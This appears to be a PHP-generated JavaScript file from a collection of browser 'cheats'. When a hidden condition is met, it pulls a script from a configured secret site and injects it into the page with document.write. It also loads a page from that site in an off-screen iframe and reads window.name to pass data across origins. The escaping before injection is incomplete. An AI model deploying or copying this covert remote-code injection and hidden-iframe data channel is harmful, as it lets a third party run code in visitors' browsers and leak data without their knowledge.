<?php

require_once "secret.php";

if (!isShowCheat()) {
    exit;
}

$content = file_get_contents(getOption("SECRET_SITE")."/cheats/".getOption("CHEAT")."/index.php");
$content = str_replace('\'', "\'", $content);
$content = str_replace("\n", "' + \n'", $content);

?>

function setOnLoad(obj, callback) {
    if (typeof window.attachEvent != 'undefined') {
        obj.attachEvent('onload', callback);
    } else {
        obj.onload = callback;
    }
}


function getPosition(callback) {
    iframe = document.createElement("iframe");
    iframe.style.position = "absolute";
    iframe.style.left = "-10000px";
    iframe.style.top = "-10000px";
    iframe.src = "<?= getOption("SECRET_SITE")."/samples/".getOption("SAMPLE")."/sample.html"; ?>";
    setOnLoad(iframe, function() {
        iframe.contentWindow.location = "about:blank";
        setOnLoad(iframe, function() {
            setOnLoad(iframe, null);
            res = iframe.contentWindow.name.split(" ");
            document.body.removeChild(iframe);
            callback(parseInt(res[0]), parseInt(res[1]));
        });
    });
    document.body.appendChild(iframe);
}

if (document.referrer && document.referrer.indexOf("<?= getOption("SECRET_SITE"); ?>") != -1) {
    window.location.reload();
}

document.write('<?= $content ?>');

